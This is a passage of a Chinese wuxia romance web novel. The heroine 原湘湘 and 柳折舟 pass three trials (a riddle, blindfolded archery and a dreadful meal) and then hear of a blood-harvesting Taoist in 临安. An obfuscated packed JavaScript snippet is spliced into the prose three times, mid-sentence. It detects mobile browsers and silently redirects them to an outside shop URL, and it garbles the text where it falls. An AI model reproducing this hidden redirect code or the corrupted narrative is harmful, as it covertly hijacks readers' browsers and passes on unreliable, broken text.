那姑娘听话便笑,道:“这里就是我的家呀,为什么要离开?话说到此,二位此行前来又是为何?” “……我们来找桃花大盗要人。”原湘湘还没吭声,柳折舟就率先开口。 那女子听到此处,不恼不怒,似乎是对此事早已司空见惯。她道:“想见桃花大盗也可以,但是得先过了我们姐妹三关,让我们见见你是否有这个本事!” 话音刚落,女子拂袖而过,一阵云烟四起,霎时风声大作。 原湘湘当即挥鞭而去——只可惜,前方早已空无一物。 她当即心下一空:“不对!她不会武功,怎么能瞬间消失?” “嘻嘻,好问题。”他们的头顶上空回荡着那女子的笑声,“不过,今天是我来考你们,若能答得出来三个问题,本姑娘自会放你二人离开这五行雾林阵。” 原湘湘当即便想到自己被鬼打墙绕了六遍,她刚要一跃而起,便觉肩头落下一只温凉的手掌,将她按了下来。 柳折舟俯身在她耳侧道:“湘湘姑娘,你我于五行八卦之事都不通达,不若就顺着她们的意思做,说不定还另有转机。” 她点点头,觉得柳折舟此话说得也有道理,因为她和柳折舟但凡能走得出这鬼打墙,也不会在里面被绕六遍了。 再这样下去,莫说救人,能不能有体力撑到最后也不见得。 “好,你说。”原湘湘道。 林间云雾瞬间浓郁起来,四周寂静,只听那女子的声音在林间缓缓回荡:“这第一个问题嘛,有两个人掉到布满利刃的陷阱里,死的人叫死人,那活人叫什么呢?” 原湘湘:“……” 柳折舟站在她的身后捂着嘴憋笑。 “第一个问题就是送分题,你回答吧。” 死的人叫死人,活的人能叫什么?当然还是活人! 原湘湘忽然间脑海里一片轰鸣:这都是些什么跟什么,跟那个爱折腾人的打铁老头有什么区别? 柳折舟从旁看着原湘湘,只见素来喜怒不形于色的原湘湘头一次泰山崩于面前,她微微紧蹙眉头,虽然闭口不言,但那奋力思考却又始终不得答案的模样…… 真是可爱。折扇在他的掌心间轻跃舞动。 原湘湘虽然想一口回答是“活人”,但直觉又告诉她此事绝不会如此简单。 柳折舟见原湘湘还在酝酿中,便上前问道:“姑娘,敢问我们可以答几次呢?是每人一次还是只有一次,又或者直到答对为止呢。” “这个吗……”空中那女子的声音犹豫不决。 此刻在院落中,几个或大或小的女子都围在那出题女子的身边叽叽喳喳。 “一次,一次,只给一次!” “不行,两次,两次吧……你看那个红衣女孩子,她好像很不擅长答题目,万一她答不出来,我们还怎么留下她啊。” “这倒也是。” 很快,那出题的女子便一锤定音道:“男的答一次,姑娘答两次,拢共三次不能再多了。” 原湘湘的头顶上空回荡着那个女子银铃般的浅笑:“想好了吗,这第一问——” 柳折舟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我们还是太小瞧她了,担心她过不了。”洛铃朝着身后的姐妹们轻轻挑眉,“不过也还好啦,现在我去解阵,下一关你们谁上?” “还不是你的问题太无聊。”腰间挂着两把菜刀的黑衣女子默默吐槽道。 洛铃无奈摆摆手道:“不能太简单哦,既要留下女孩子,也不能让他们进来找到方大哥!” 一阵莺声燕语间,陡然飘出两道声调完全不同,但话语却叠作一处的声音:“该我们了。” 那两个声调一静一动,一冷一热,完全无法相容却又仿佛天生一体。 “快告诉我答案。”原湘湘朝着天空呼喊一声,声音最终消弭在无边的树林中,瞬息不见踪迹。 柳折舟本在一旁闭目养神,耳际却蓦地微动,他缓缓睁开了眼睛。 很快,就见周围的诸多山石草木迅速变形移动,岩石如云飞撤,草树翻腾如潮,就连脚下的土地也如碎镜般破裂又重组,只消片刻,原先的浓雾深林早已不见,便就化作山花烂漫处,清流翠竹迎风立,此处的风景又大变模样。 “久等了二位。”桃红窄袖长裙的女子又一次从远处款款而来。 洛铃自山花深处缓缓现身,裙裾迎风飘动,周身披帛绶带迎风飞展,日光下,整个人犹如一朵芬艳的重瓣桃花。 明媚又娇俏。 “下一关是什么?”原湘湘问。 她本来是很好奇对面女子如何做到飞身而去的,可自从见到周围草木景色皆在阵中时,她便已了然—— 她在奇门阵法之事上确实是一窍不通的。 问了也白问。 柳折舟不知何时又立在她的身侧,长身玉立风中,那被撕烂的半截衣袖里透出莲花暗纹,袖摆里是一截白中泛着青气的长手。 43.蒙眼弯弓轻笑老叔叔 洛铃弯身做了一个“请”的动作,示意他们二人前来。 原湘湘不多言语,抬腿便走,柳折舟紧跟而上。路过洛铃身边时,他们二人又与洛铃互相颔首一礼。 洛铃见原湘湘此番情态,眼底笑意弥漫,心道:“虽然面上冷冰冰,看来还是很好相与的嘛。” 随后也拾步跟上前方二人,不多时,三人已来到一处校场。 这处长约四五丈见方的方形空地上修建着整整齐齐的合院建筑,合院旁边还设有台基,台基之上立着一根光秃秃的长竹竿。 原湘湘环视四周,周围除却一些生活起居建筑和设施外,其它的便都是演武练武之用。 “此处便是第二关了。”洛铃轻轻笑笑,“二位若能过了我们姐妹三关,我们再谈桃花大盗的事,若是过不了这三关——今日无论如何二位都得留下一位陪我们姐妹说说话。” 言罢,洛铃便悠悠进了旁边的屋舍。 原湘湘正欲开口询问第二关的比赛内容,但见洛铃身后又跟着两名女子出来,她们的手中各自拿着一条黑布。 柳折舟折扇轻摇,眉头轻抬,似是颇有兴致。 “这一关,考的是我们。”一个似昏昏欲睡的少女出现在眼前,就连她说起话来也是将醒未醒的绵软。 她定睛细看,那小小少女身着鹅黄襦裙,身形娇小,但方才那一步瞬身却来无影去无踪。 原湘湘不由得心头一滞。 “当然,考的还有你们。”霎那间,另一个身着淡青襦裙的少女出现在柳折舟身侧,她嗓音清亮活泼,身形同样娇小。 原湘湘定睛一看,这两个小女孩竟然长得一模一样!是一对双胞胎! “出题人也自然是我们。”二人相拥着齐声说道。 两个小女孩舞动着身体,两道截然不同的声音叠作一处,幽幽道:“看见对面的靶子了吗?那是可移动的,其中一个靶子上系着一个金铃,靶子移动金铃就会响。” “我们比什么?”看起来没精打采的那个女孩自说自话,道,“我叫雨兰。” “我叫风梅。”另一个活泼开朗的小女孩紧跟而上,“我们就比射箭。” 原湘湘看着这性格各异的双胞胎姐妹,心中暗道:若不是她们穿着不一样,否则自己还真分不清楚到底哪个是哪个。 这两个小女孩的行为动作完全就像是照见镜中的另一个自己。 “今天我们要比射箭。”二人最后又异口同声重复一遍,旋即,二人的起舞也随之停止。 两个长相完全一模一样的小女孩分别拉着原湘湘和柳折舟往前。 原湘湘慢慢跟着,柳折舟也不得不弯下腰来好生招呼着这两个小姑娘。 不多时,她的眼光就落在了完全拿孩子没办法的柳折舟身上,那人似乎相当惧怕小孩子。 与此同时,校场另一头分列两边的十个木靶子也开始移动,两边各五个,阵阵微弱的铃声从校场另一头传来。 原湘湘不由得握紧拳头,她已经猜到这对双胞胎姐妹想要考什么了。 柳折舟他…能行吗?原湘湘不由得担心起来。 她看向身侧的柳折舟,那人两腿一高一低蹲在地上,连连摆手求饶,耷拉着两条眉毛,一青一黄两个小姑娘就在他的面前转来转去。 “我们两个人,你们也两个人,看我们谁在规定时间里射中的金铃靶心数量最多。” “当然,必须要蒙上眼睛。”两个小女孩先后警告道。 原湘湘将自己的双手握紧又松开,她自行掂量掂量自己,觉得只要自己发挥得好,即便柳折舟一箭不中,说不定也能有的救。 可还没等她将心放回喉咙里,身后就听洛铃补充道:“不仅要射中靶心才算,要前后两个人都射中靶心才算一次。” 话音刚落,雨兰和风梅两个小女孩就已经在旁唱起拍手歌,二人你来我往好不快乐。 “小叔叔,大叔叔,老叔叔,究竟你是哪一个叔叔?” 原湘湘的步伐突然一滞,她木木转过头去看柳折舟和那两个小女孩。 “大叔叔,老叔叔,还剩一个小叔叔,身边就有一个男叔叔 ~” 原湘湘愣愣看着那三人,一青一黄两个小女孩你拍来我拍去,柳折舟已经一屁股坐倒在地。 洛铃从旁佯装嗔怒道:“休要瞎说,什么‘男叔叔’,总不能还有‘女叔叔’?” “老叔叔,老叔叔,不说你就是老叔叔!”双胞胎愤愤唱完最后一句,两根小小的手指齐齐指向坐在地上无奈苦笑着的柳折舟,“说不说?铃铃姐,你看嘛,他就是像个女人一样漂亮!不就是女叔叔?” 柳折舟只能尬笑着举手投降:“我……我……” 他支支吾吾半天只能说出一个“我”,多么无力的我。 “他今年二十四,尚未娶亲。”蓦地,柳折舟耳后响起原湘湘的声音。 还不待柳折舟赶紧去寻原湘湘救命,但听两个双胞胎又一次唱了起来:“呀! 是老叔叔!老叔叔,老叔叔,老叔叔老,小姐姐小!” 柳折舟原地中箭。 “二十又四不娶亲,孤家寡人苦伶仃~” “噗”的又是一箭扎到柳折舟身上。 “叔叔叔叔你没有亲~”风梅和雨兰自顾自地唱着拍手歌,柳折舟那边还未开赛,身上已经扎满了箭。 他现在是顾上不顾下,顾下不顾上,口中,肩上,脑门,胸口都在窜血,“呃唔”一声径直倒地。 原湘湘转了转眼珠,嘴角噙起着往前走。走着走着,她就像是想起什么似的,顿了一下。 原湘湘不由得轻轻咬住嘴唇,心道:别说二十四了,就算九十四了,他也出不来孩子啊。 她还没忘记在老大夫那里时,柳折舟冲天一吼:“怎么治我喜欢男人的病!” 这不会是真的吧? 洛铃拉开两个双胞胎,另外两个女子搀扶着柳折舟,一群人慢悠悠来到比赛场地。 洛铃等人用黑布先将风梅雨兰的双眼蒙住,而后便把弓箭交予她们二人。 风梅道:“可别小瞧我们!” 雨兰跟上:“虽然我们只有十岁。” 风梅又道:“我们还小。” 雨兰又跟上:“叔叔很老。” “咳!”后边的柳折舟莫名又是一箭射中。 原湘湘此刻已经弯弓持箭走到射箭区域,那一条黑布将她的双眼盖住,不仅盖住了本就不大的小脸,更沉得她周身凛冽不可侵犯。 洛铃道:“那么,一切准备就绪,半炷香时间。” 话音刚落,被黑布蒙住双眼的柳折舟便缓缓从原湘湘的身侧下方展出身形。 他本来温温柔柔的眉眼被黑布彻底遮住,如今只留下分明漂亮的下半张脸露出来,唇线紧抿,周身凛凛散发着寒意。 与平素里判若两人。 原湘湘也曾说过,柳折舟不笑时,脸上颇为冷漠。 柳折舟兴许也感受到她的不安,便静静走了过去,安慰道:“我一定会尽力的,湘湘姑娘。” 她沉沉点了点头。 即使胸腔里的那颗心完全没放下来过。 早先她也确实怀疑过柳折舟身份,但这么些时日相处下来,此人不是病重躺板板就是受伤躺板板,不管这其中究竟几分真几分假,但原湘湘起码能够确认——他的身体状况委实很差。 此种情况下,原湘湘甚至怀疑他究竟有没有力气拉弓…… 末了,她心中默默叹了口气:尽人事,听天命吧。 “比赛开始!” 洛铃一声令下,校场另一端的两组木靶子便开始顺着机括运转起来。两组机括分别控制着两组箭靶,每一组的箭靶都如同起伏不定的波浪一般,或上或下,或左或右。 场中风起,风声呼啸,扬起校场内的灰尘四起,机括运转嘈杂,微弱的金铃声夹杂在这混乱的声浪之中。 “我们先了哦 ~”话音刚落,原湘湘就听左侧“嗖嗖”两箭飞出。 风梅和雨兰同时开弓,双箭齐发。 “好快。”她不禁浑身僵硬。 “湘湘姑娘。”柳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16860180|188800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 折舟的声音也从她的右侧响起,原湘湘微微测过头去,听他笑道,“我们的铃,铃舌过轻,铃声尾音不稳且短。” 柳折舟罕见的沉稳。 “嗯。”无暇顾及其他,原湘湘深吸一口气,凝神细听,场中万物之音便纷纷涌进她的脑海,那些声音如同画笔一般在她的脑中逐一描绘出清晰的场景。 仿佛身临其境。 波澜起伏的声海画卷中,原湘湘的一缕意识在其中飞跃寻找,直到在声海中发现一缕亮光。 “找到了!” 那铃声如同飘渺海上的灯火一般,飘摇起伏,忽远忽近。 凝神,静听,拉弓,松弦! “嗖!”一支白羽箭破风而出。 “嗖!”不待反应,她的右侧也几乎同时飞出一支箭。 她听得分明,就在她松弦时,柳折舟也几乎同时松弦,双箭一前一后,纷纷而至,原湘湘的那支箭射中靶心的一刹那,他的箭矢也随之而至。 “喀”的一声轻响,他的箭尖破开原湘湘的那一支箭矢,双箭交叠重合,铃声阵阵。 “双方各中一箭。”洛铃讶异道。 “蛮厉害的嘛,老叔叔。”双胞胎轻轻哼了两句。 柳折舟蒙着眼,无声轻笑,发丝贴在颊边,泛着细雪般的颜色。 他另一侧的原湘湘凝眉细听,不言不语,顷刻间又是多箭连发,柳折舟也不敢落下,广袖盈风,长手弯弓,身姿挺拔如松,一扫平日萎靡病态。 弦声连绵不绝,从旁记录的洛铃一声接过一声,香柱也在逐渐缩短。 原湘湘屏气凝神,她能清晰地感觉到柳折舟射出的每一只箭,都精准地卡准她松弦的时间,随她而去。 柳折舟……你到底是什么人? 心神恍惚间,原湘湘气息陡然一乱,手中箭径直飞出,她正懊悔不已之际,只听身侧又是一声破空之声穿过耳际。 柳折舟的那一支箭再一次紧随而去,但这次的箭矢却略微不同。 原湘湘听得分明,那箭更快更急,倏忽一瞬,就在射中靶子的最后一刻,他的那支箭硬生生将她的箭撞回靶心。 霎时间,双箭同时射中靶心,金铃环响。 “第五箭。”洛铃的声音中已掩饰不住赞叹。 原湘湘微微乱了呼吸,她虽然看不见,却能感觉到身畔那个一直温温柔柔的柳折舟,此刻却变得陌生——又或者,这才是他真正的面目? 原湘湘又忆起清晨时,他在晨光中纵马狂奔之时的情态,那般逍遥,那般恣肆,仿佛他就该天生逍遥纵马天下。 而非缠绵病榻。 既然如此——原湘湘手中又飞出两箭,这一次她故意射偏三分。 果不其然,柳折舟的两支箭再次飞出,同样在随后一刻将她的两支箭全部带回靶心。 “第六,第七箭。”洛铃已然赞叹不已。 听着耳边的声音,原湘湘却忽然弯起了嘴角,心中笑起。 再次挽弓,拉弦—— “不玩儿了。”左侧身边传来风梅轻快却疲惫的声音。 “不好玩儿了。”雨兰慢慢附和道。 紧接着她便听到两个孩子扔了弓箭,一轻一重地走出射箭区域,来到了自己面前。 “小姐姐,给我看看你。”双胞胎异口同声道,“这一点也不好玩儿。” 四只小手争相拉着原湘湘,她不得不蹲下身子,当那条黑布被风梅雨兰摘下时,日光刺眼,她不得不眯起眼睛。 那两个孩子正瞪着大眼睛看着她。 她们的脸上哪里有被布条系过的样子? “我们输了。”雨兰嘟起嘴巴,声调依旧那般冷漠。 风梅似乎颇有不甘:“老叔叔太厉害了,我们睁着眼睛也赢不过他。” 原湘湘转身回望。 柳折舟持弓迎风而立,他的双眼被覆,露出半截脸来,周身衣摆随风飘荡,分明漂亮的下颌仿佛某个幻影,从她的眼前一闪而过。 她不禁闭上眼睛,甩了甩脑袋,最后默默收紧掌心。 44.将将玉死行远不知味 原湘湘看着眼前的这个柳折舟,忽觉得他既熟悉又陌生。 那迎风招展的身姿,那同样分明漂亮的下半张脸,有一瞬间她竟将柳折舟的身影与那个幻影径直重叠。 “湘湘姑娘!”柳折舟笑吟吟地跑过来,“我没有帮倒忙吧。” 他摘下蒙眼的黑布,那双柔柔的笑眼又露了出来,一如既往地温柔和煦。 “看不出来你会的还挺多。”原湘湘夸了他一句,“那之前为什么一直装?” 柳折舟放下长弓,解释道:“……幼时学过一点骑射。” 原湘湘:“那你还有什么本事?” 学过一点……这种也叫做一点…… “提枪舞剑,舞文弄墨姑且会一点吧。”他满怀歉意地走到原湘湘身侧,“用剑的话,我自觉也不比湘湘姑娘的师父要差。” 说着说着,他就弯下身子,脑袋绕到了原湘湘的耳侧,笑笑看着原湘湘:“湘湘姑娘,要不就跟我学艺吧。” 原湘湘被他猛地一盯,浑身紧绷,站在原地一动也不敢动。她缓缓侧目看着那张颇为自得的笑脸,她总觉得眼前的柳折舟换了一个人似的。 不对,是换了物种。 师父?什么师父?哪个师父?原湘湘不禁腹诽:他在莫名其妙阴阳怪气些什么东西? “不过,我最喜欢的还是耍枪。”柳折舟言笑盈盈,又缓缓收回了脑袋,重新直起了身。 这边,原湘湘他们二人正在各怀心思中,那边洛铃已收拾妥当带着风梅雨兰以及一众姐妹们过来了。 原湘湘和柳折舟一一施礼。 “二位已经过了两关。”洛铃道。 “过了两关。”两小只从旁附和道,“老叔叔太厉害了!小姐姐也不差!” 柳折舟一见那两小只走来,他就鬼鬼祟祟藏到原湘湘的身后去,撑开扇子遮脸。 身侧几个姑娘见状便“嗤嗤”捂嘴轻笑。那两小只赶忙上去拥着柳折舟,柳折舟只得任由她们两个人牵着,扯着,推搡着,往前慢慢游。 “这还有第三关呢?”原湘湘问道,“这一关过了,总该让我们见见桃花大盗了吧?” 洛铃轻笑:“姑娘不要着急,我们先去用饭,饭后再说。” 他们一群人行至一处素雅的厅堂中。那厅堂四下绿树成荫,种满桃树。此时,刚刚打出桃红的花骨朵,远远望去,恰如颗颗晨露缀新枝。 风梅雨兰一同挤着柳折舟坐到厅堂左侧,原湘湘被洛铃带着坐到厅堂右侧。他们的面前都被一层竹帘紧紧挡住。 原湘湘正在纳闷之际,就听洛铃轻笑,道:“姑娘请安坐,这一关我们考的就是吃饭!” “考的是吃饭!”对面帘子里传出双胞胎的笑声,“要全部答出来哦,不然我们会在里面下毒!” 原湘湘听那头飘来柳折舟的无奈苦笑两声,心下思索道:他怎么只会尬笑?平时也没见这样子啊? 竹帘两片,分出两处闲愁。 很快,就见先前那位腰间悬着两把菜刀的黑衣女子扛着一个黑木食盒进了来。 “哐”的一下,食盒落地。 那女子非常娴熟地从食盒中取出几道菜来,紧接着洛铃,风梅和雨兰,就一同将菜端到了原湘湘和柳折舟的面前。 他们二人的面前各有三道菜,外加一副纸笔。 厅堂正中的黑衣女子突然抽出腰间菜刀,往面前食盒上一砍,只见食盒立时四分五裂。她道:“你们若是说不好吃,下场就如此盒!” “吃完饭还要做题?”竹帘后柳折舟似乎可怜无比。 凌子燕落下一刀,喝道:“让你吃你就吃!” “胆敢说不好吃,子燕姐姐必会将你做成下一道菜~”风梅雨兰一唱一和,道,“唉?老叔叔,你怎么吐血了?” 她的眼前分别是一白一红一绿三道菜。白得像杏仁豆腐,红的是一锅炖肉,绿的也是一盘碧绿盎然的青菜。 原湘湘不由得紧张起来,长长呼出一口气,心道:自己什么没怕过,不知怎地却害怕这三道菜…… “吃完三道菜,说出我使用的所有食材并写出烹饪方式。”凌子燕收回双刀,在厅中来回踱步,俨然是在监视他们。 “那要是,说不出来会怎样?”原湘湘沉声问道。 她自觉自己苦练十年,但从没琢磨过烧饭做菜。如此这般,就算那个铁匠师傅也是不会的。 “没事没事,你吃出什么就写什么。”洛铃端坐在原湘湘身旁,笑笑安慰她,“子燕很好说话的。” 原湘湘默默点头。 浇汁豆腐,洁白如玉,细腻光滑,上面淋着一层晶莹透亮的浅褐色浆液。 这个看起来不错,她决定就从这道菜开始。 一勺子下去,原湘湘登时脸色大变,脸涨得通红,不由得呼吸急促起来。 随后她横着一口气,果断拿起笔写了下来,眼中阴寒可怖。 有了第一道菜的经验,她已经不敢轻易相信这位凌子燕姑娘的厨艺了。 第二道菜看似是一盘红烧肉,色泽深褐油亮,肉皮层层,炖煮软烂,看着便是花了极大功夫制作的。 原湘湘自问打架救人绝不犹豫,此时却在吃饭时生了惧意。无奈,吞了一口干唾,夹起红烧肉——一口吞。 而后,她依旧默默提起笔,腕间透着微不可察的轻抖,眸中如结寒冰,可眼中却泛起一层红色。 “湘湘姑娘?”对面忽然响起柳折舟的声音。 “不准对答案!”风梅雨兰立刻手牵手拦在柳折舟面前,“我见你吃得很开心,说不定你跟子燕姐姐很投缘呢。” “快写!”凌子燕在场中大喝一声,震得场中众人立时安静如鸡。 左右两边的人虽然都看不见对方,但都十分默契地边吃边写。唯一不同的便是,一方痛苦忍耐,一方似乎乐在其中。 最后一道菜了。 一碟翠绿欲滴的,油光发亮的青菜,上面撒着碎花似的红色辣椒粒,看似是普通的清炒青菜。 原湘湘头一次觉得自己害怕吃饭。从前她为了活下去,什么苦头,什么剩饭剩菜没咽下去过? 可如今…… 她望了望身旁的洛铃,那人也一改常态,似乎颇为愧疚地对着原湘湘笑着。 又是一口闷下,她紧皱着眉头,甚至不敢呼吸。 片刻后,才敢缓缓咀嚼,一种难以言说的味道冲击着她的舌头,口腔,直冲天灵盖,然后扩散至全身筋脉,霎时间,丹田一空,周身窒息。 “……啊……”唇角终于不受控制地流出半点痛苦的声音,低头含胸,缩成一只虾米。 “湘湘!”对面的柳折舟立时暴起,冷声质问道,“你们对她做什么了?” “没呀没呀!”风梅雨兰立时紧紧相拥,小声解释道,:“都是一样的,和叔叔你的都是一样的,是你自己吃得太开心。” 两小只说着说着声音就瘪了下去,四只眼睛齐齐飘到外侧去看凌子燕的反应。 “你当我们是那种用下三滥手段的小人吗?”凌子燕不知何时已经提刀立在柳折舟身后,两把菜刀噌噌发亮。 柳折舟只觉脑后一阵阴寒,怔怔半晌,直到听见对面声音又恢复时,确认原湘湘已经提笔开始书写,他才又坐下。 不多时,洛铃拿着原湘湘的考卷出来,两小只也拿着柳折舟的出来。 柳折舟看也不看,直往对面竹帘后面飞奔而去,半点闲雅也无。 “湘湘……姑娘?”他倾身问道,笑容不再。 原湘湘趴在桌子上,彻底没了力气,犹如枯灯一盏,已经燃尽了。 他果断牵过她的手,细细把脉片刻,而后如释重负般的长舒了一口气,笑容才又回到脸上。 虽然他也不是名医,但也稍许懂得一些医理。 她细细的腕子被他握在手间,皮肉下青紫交错的细小筋脉纵横盘桓,形成了一张小小的网。 柳折舟虽然笑着,但也笑中带着忧。 “我还好——你不必担心——”桌子底下原湘湘拉长了嗓音,有气无力的。 她挣扎着起身,原本洁净的脸上都被压出了褶痕,微卷的发丝贴着脸颊,眼神迷离,似乎还没有完全醒转。 柳折舟这才不动声色地松了手。 原湘湘本来还在迷离,忽然两眼一瞪,犹如回魂似的,紧紧盯着柳折舟,沉声道:“你……你……” 不是怨恨,也不是埋怨。 “你怎么没事?”她实在是无法回忆这一次的考验,以至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16870070|188800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于当下她的脑海中都是一片空白。 只因也太过痛苦。 “啊。”柳折舟脑袋一偏,似乎完全不知她在问些什么,道,“我就是全都吃了,又写了食材和做法。不过,我不擅长做饭,可能答得也不太好。” “……你。”原湘湘径直凋零成碎片。 “湘湘姑娘!”柳折舟慌忙弯腰去捡。 他看到原湘湘的桌子上三盘菜几乎都不曾动过,每一道菜她只吃了一口而已。 柳折舟默默舔了舔嘴唇,一向柔和脸上此刻却仿佛霜雪覆盖其上。 很快,洛铃等人就拿着他们两个人写的菜谱过来了。 原湘湘此刻也稍稍清醒了些,面色好看了不少,可在看到凌子燕的时候,她还是不可避免地露出些许恐惧。 柳折舟从旁看着她,视线片刻也不曾离开过。 “本来你们是不能过关的。”洛铃瘪瘪嘴道,似是惋惜。 “不能过关,不能过关~”两小只随声附和。 “虽然两个人的答案全部很烂!”凌子燕脸色黯淡,但很快插进一句,大笑道,“但能够吃完我做的菜的人,这位公子还是有史以来第一人!所以我们决定让你们过关了!说吧,想问什么!” “想问什么,想问什么?”风梅雨兰原地各转一圈,而后又面对面击了个掌。 原湘湘看看柳折舟,不知为何,此刻却觉得身边这个男人更可怕:居然面不改色地吃完了全部? 她一向无波无澜的脸上,今天算是彻底起了波澜。 柳折舟依旧一如既往地笑吟吟看着她:“还是湘湘姑娘说吧。” 凌子燕道:“我见你二人关系甚好,随便哪个都行,想来谁开口也都是一样。” “关系甚好关系甚好~”两小只再次原地起舞附和。 “桃花大盗在哪里?我们要救被他劫走的姑娘回家。”原湘湘斩钉截铁问道。 洛铃等人面面相觑,而后沉声道:“这里住的都是他带来的姑娘们,我们不会走的。” “我们不会走的。”洛铃沉声一句,掷地有声,俨然决心已下,绝不回头。 原湘湘顺着话音望去,只见那一群年纪或大或小的姑娘们个个相拥在一起,她们互相用眼神示意,都在支持着洛铃的回答。 “至于你们所说的那个姑娘,我们这里并没有。”洛铃继而长叹一声,“如果……按你们所说,她应是可能会被寨子军抓了去。” “寨子军?”原湘湘连忙追问。 不知为何,原湘湘总觉得自己心脏在那一瞬间剧烈跳动起来。 洛铃沉沉点头,道:“距离此处百里之外的临安城,你可知晓?” 原湘湘无言点头,临安也正是她要去的地方。 “临安首府刘天承如今多大年岁了?”洛铃说着便转身要凌子燕将其他几个小姑娘带走,她便继续道,“我们只知他府中有位得道高人,那高人不知修的什么道法仙术,说是能助人长生不死。” “这件事,在下倒是略有耳闻。”柳折舟道,“刘天承本是前朝旧臣,势力庞大,割据一方,故而新朝未立时,双方各攻不下,死伤无数,最终落得个求和的解法。” “我们小老百姓可管不了那么多,谁能带来好日子便跟着谁。”洛铃眉间阴云愈渐浓厚,继续道,“我今年不过十八九岁,那些事可都是我听说过来的。” 原湘湘凝眉不语,脸上神色愈发灰暗。 “姑娘但说无妨。”柳折舟轻声道。 “他们先是抓年轻力壮的男子,待男子寻不着了,便又来抓年轻女子。”说话间,洛铃已经变了脸色,“那个道士说要用女子的血来炼丹求长生!若不是……若不是被方大哥救了,不知道我们这一群姐妹早就死在了哪里!” “寨子军就是那道士弟弟的,那道士有个无恶不作的亲弟弟,平日里,他若得空便会带着手下的寨子军四处横行作恶!”凌子燕不知何时也进了屋来,她的神色也颇为严肃,“我们如今在这儿安身,全都是托了方大哥的福,他会些五行八卦之术,北山中便是他布下的诸多机关……如若不然,也早就被抓了去。” “临安,是座死城!”洛铃惊声大呼,“你说,北边的皇帝为什么不派兵过来呢?为什么呢?” 45.不老首府地底现死城 临安城东北边有一座富丽堂皇的大宅子。东北边地势略高,周遭山清水秀,人声清净。这宅子不仅占地广,里面更是雕栏砌玉,美不胜收——那里便是临安首府大人的住处。 斜阳如血,暮色渐起。首府刘天承便披衣而起——多年来的习惯。 他走到墙边,撑开藤阁小院的窗子,望着那片空荡荡的青瓦白墙,站立许久,却不曾动过半分。 刘天承须发皆白,他面上早已年逾五十,可眉目间依旧矍铄。新朝建立后,依旧沿袭了不少旧朝的制度,临安府本就离京畿甚远,再加之双方曾经互攻不下,如今只能落得一个互相求和的地步。 中州之地新旧交替之时,宣州也是个极为烫手的地方。 他在窗旁伫身半刻,方才披着衣走出藤阁的门。入眼便是一片花红柳绿,溪水山石缀映其中,晚间,偏院里雾气迷蒙。 这座宅邸也是前任临安首府留下的——那也是许久之前的旧事了。 院中的侍女仆人们见到刘天承已经起身,便纷纷为他送水递巾,一番洗漱后,这位半百老人便噙着半口清茶,坐在一方石桌旁。这是他多年来的一个习惯,久睡醒来,一定要喝茶静坐。 不多时,天色彻底昏暗下来,丫鬟小厮们也照着他的习惯将饭食一一摆放在那方石桌前,随后便纷纷退下了。 临安府虽是宣州的第一大府,但府内势力薄弱,虽与新朝保持着微妙的和平,但其中情况刘天承确实心知肚明。 尤其是那个新即位的年轻皇帝,一上位便收了自己的老丈人的兵符,将其发配漠北……表面上说着驱逐蛮夷,实则到底是不是畏惧老丈人的兵权,谁知道呢? 也不看看自己夺权成功倚仗了这位老丈人多少力呢? 刘天承在心中盘算着,口中不住蔑笑了起来:“区区一个次子,放着内乱不管先打匈奴,是不把我老头放在眼里?” 很快,一个紫衣侍女引来了一位客人。 “老爷,何道长求见。” 侍女盈盈落语才完,他那双苍老蜡黄的眼皮微微抬起,便低声应道:“请他进来。” “是,老爷。”在这个眉目温和的老人面前,紫衣的侍女全程低垂着眉眼,不敢稍稍逾越半分。 不消片刻,只见一位仙风道骨的男子信步走来,看那清瘦面目中略带沧桑,估摸已过而立之年。 来人一身深灰锦缎外衣,头束江海雕花木簪,脚踩一双黑色双纹长靴,一双细眉高高扬起,眉头却紧锁难开,面上似忧似喜,难以预测。 “来了。”刘天承起身相迎,面上沉静温和。 “不敢当,刘大人快请坐。”来人赶忙迎上,搀扶着刘天承坐下。此人正是“拂尘断魂见阎王”何彦飞。 虽说江湖上说他凌厉狠毒,但本人看起来却更像位道观里一尘不染的道士,寡言沉静。 刘天承顺势坐下,趁着喝茶的间隙看向,便打趣道:“你无事时,可不会来找我这个老头子。” “大人哪里的话,”他隐隐一笑,“大人还年轻着呢。” “哈哈——”刘天承听得开心,一时之间便忍不住放声大笑:“还是你最会说话。” 何彦飞猛然脸色一沉,便道:“大人可知鬼观音要来临安?” “嗯。”刘天承眼皮一抬,手上盛粥的动作也随之停滞半分,打趣道,“你们也算是同道中人了,一个恶鬼观音,一个道士阎王,到底哪个更厉害些呢?呵呵。” “听闻鬼观音已取回孤鸿剑,那她来临安就只有一个目的。”何彦飞神色复杂,声音里带着些阴冷古怪,“势必是为了三分剑鞘而来。” “东濑国公主早已携三分剑鞘来访新帝,新帝使者不日便可到达临安。”刘天承正恣意地吃着那早已凉透的白粥,手旁放着一碟腌渍瓜菜,好不自在。 